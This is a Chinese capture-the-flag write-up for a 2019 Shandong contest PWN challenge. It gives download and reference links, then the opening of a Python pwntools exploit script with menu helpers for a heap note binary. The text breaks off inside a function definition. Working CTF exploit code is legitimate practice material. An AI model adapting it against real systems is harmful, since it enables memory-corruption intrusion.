2019山东省省赛的第三道 PWN 题目 题目链接: https://pan.baidu.com/s/17FK07Z0MQUGHB52rm8Ss4A 提取码: isy6 参考: https://wzt.ac.cn/2019/11/04/sdnisc2019 完整 EXP: # encoding=utf-8 from pwn import * #context.log_level = 'debug' p = process( "./pwn" ) elf = ELF( "./pwn" ) libc=ELF( '/lib/x86_64-linux-gnu/libc.so.6' ) def add (index,leng,content) : p.sendlineafter( "Your choice: " , "1" ) p.sendlineafter( "Index: " ,str(index)) p.sendlineafter( "note len: " ,str(leng)) p.sendlineafter( "content: " ,content) def check (index) : p.sendlineafter( "Your choice: " , "2" ) p.sendlineafter( "Index: " ,str(index)) def delete